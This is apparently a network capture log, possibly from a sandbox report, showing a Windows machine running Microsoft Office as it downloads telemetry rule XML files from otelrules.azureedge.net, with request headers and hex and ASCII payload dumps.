2024-10-31 06:15:00 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-31 06:15:00 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-31 06:15:00 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-31 06:15:01 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-31 06:15:01 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-31 06:15:01 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-31 06:15:01 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-31 06:15:01 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-31 06:15:01 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-31 06:15:01 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:02 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:02 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061502Z-16849878b785jrf8dn0d2rczaw0000000a8000000000ctgg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:02 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:02 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:02 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:02 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8207e9df-b01e-0097-6a6a-2a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061502Z-159b85dff8fvjwrdhC1DFWsn1000000000wg000000005ghx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:02 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:02 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:02 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:02 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cb5553aa-e01e-001f-3f7b-2a1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061502Z-17c5cb586f6wmhkn5q6fu8c5ss00000008qg000000002gku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:02 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:02 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:02 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:02 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061502Z-16849878b78qfbkc5yywmsbg0c00000008rg00000000f8ed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:02 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:02 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:02 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061502Z-16849878b78qf2gleqhwczd21s00000009b0000000008m5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:02 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:02 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: fc05dcd0-301e-0052-2d91-2a65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061502Z-159b85dff8fprglthC1DFW8zcg00000000w000000000bcct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U 